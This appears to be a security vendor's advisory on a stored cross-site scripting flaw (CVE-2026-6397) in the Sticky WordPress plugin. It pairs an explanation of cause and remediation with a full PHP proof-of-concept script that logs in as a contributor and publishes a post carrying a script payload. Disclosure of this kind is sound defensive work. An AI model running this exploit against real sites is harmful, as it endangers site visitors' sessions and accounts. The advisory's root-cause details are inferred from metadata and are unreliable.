Atomic Edge analysis of CVE-2026-6397 (metadata-based):
This vulnerability is a Stored Cross-Site Scripting (XSS) affecting the Sticky plugin for WordPress, versions up to and including 2.5.6. An authenticated attacker with Contributor-level access or higher can inject arbitrary JavaScript via the `readmoretext` attribute of the `cvmh-sticky` shortcode. The stored script executes when any user views the affected page, leading to a CVSS score of 6.4 (Medium severity).
The root cause, inferred from the CWE-79 classification and the description, is the lack of output escaping in the `cvmh_sticky_front_render()` function. The value of the `readmoretext` attribute is processed through `apply_filters()` and then directly concatenated into the plugin’s HTML output without being passed through `esc_html()` or `wp_kses()`. Without access to the source code, we cannot confirm this, but the description makes it clear that no sanitization or escaping occurs before rendering. This is a classic stored XSS pattern where user-controlled input is stored in the database and later output without proper escaping.
To exploit this vulnerability, an attacker would create or edit a post or page with the `cvmh-sticky` shortcode. The attack payload is placed in the `readmoretext` attribute. For example: `[cvmh-sticky readmoretext=”alert(1)”]`. Once the post is saved, any visitor loading that page will execute the injected script. The attack vector is authenticated; the attacker needs at least Contributor-level WordPress capabilities, which allow them to create posts with shortcodes but do not grant unfiltered_html (in multisite or standard installations). However, because the plugin fails to escape the output, the attacker’s JavaScript fires anyway.
The remediation requires patching the `cvmh_sticky_front_render()` function to escape the `readmoretext` value before inserting it into the HTML. The WordPress-native approach would be to use `esc_html()` or `wp_kses_post()` on the attribute value inside the shortcode’s output function. Additionally, saving the shortcode attribute value could involve sanitization with `sanitize_text_field()` on input, but the primary fix must be output escaping. Since no patched version is available, site administrators must disable the plugin until a fix is released.
Successful exploitation allows an attacker to inject arbitrary JavaScript into pages that contain the malicious shortcode. The impact includes session hijacking, stealing authentication cookies, defacement, phishing, and potentially performing actions as the logged-in victim (e.g., creating admin accounts, installing malicious plugins). While the CVSS confidentiality and integrity impact metrics are rated Low, the stored nature of the XSS means the attack can persist and affect many users without further interaction.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-6397 - Sticky <= 2.5.6 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'readmoretext' Shortcode Attribute
// Configuration: change these to match the target
$target_url = 'https://example.com'; // WordPress site URL
$username = 'attacker'; // Contributor-level or higher account
$password = 'password';
// The XSS payload to inject via the shortcode attribute
$xss_payload = '<script>alert("Atomic Edge - CVE-2026-6397");</script>';
// Step 1: Authenticate to get WordPress cookies
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'wp_cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
if (strpos($response, 'Dashboard') === false) {
die('Authentication failed. Check credentials or site URL.');
}
echo "Authentication successful.n";
// Step 2: Create a new post with the malicious shortcode
$post_url = $target_url . '/wp-admin/post-new.php';
curl_setopt($ch, CURLOPT_URL, $post_url);
curl_setopt($ch, CURLOPT_POST, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$new_post_page = curl_exec($ch);
// Extract the WordPress nonce for creating a post ( '_wpnonce' field )
preg_match('/<input[^>]+name="_wpnonce"[^>]+value="([^"]+)"[^>]*>/i', $new_post_page, $matches);
if (empty($matches[1])) {
die('Could not obtain creation nonce.');
}
$nonce = $matches[1];
// Build the shortcode with the XSS payload
$post_content = '[cvmh-sticky readmoretext="' . $xss_payload . '"][/cvmh-sticky]';
$post_data = array(
'_wpnonce' => $nonce,
'post_type' => 'post',
'post_title' => 'Atomic Edge PoC - CVE-2026-6397',
'content' => $post_content,
'post_status' => 'publish',
'original_publish' => 'Publish'
);
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'wp_cookies.txt');
$result = curl_exec($ch);
if (strpos($result, 'post-preview') !== false || strpos($result, 'message') !== false) {
echo "Post created successfully. Exploit payload stored.n";
echo "Visit the published post to trigger XSS.n";
} else {
// Check for error messages
preg_match('/<div[^>]+class="[^"]*error[^"]*"[^>]*>(.*?)</div>/is', $result, $error_match);
if (!empty($error_match[1])) {
echo 'Error: ' . strip_tags($error_match[1]) . "n";
} else {
echo 'Post creation failed. Manual inspection required.' . "n";
}
}
curl_close($ch);
// Clean up cookie file
unlink('wp_cookies.txt');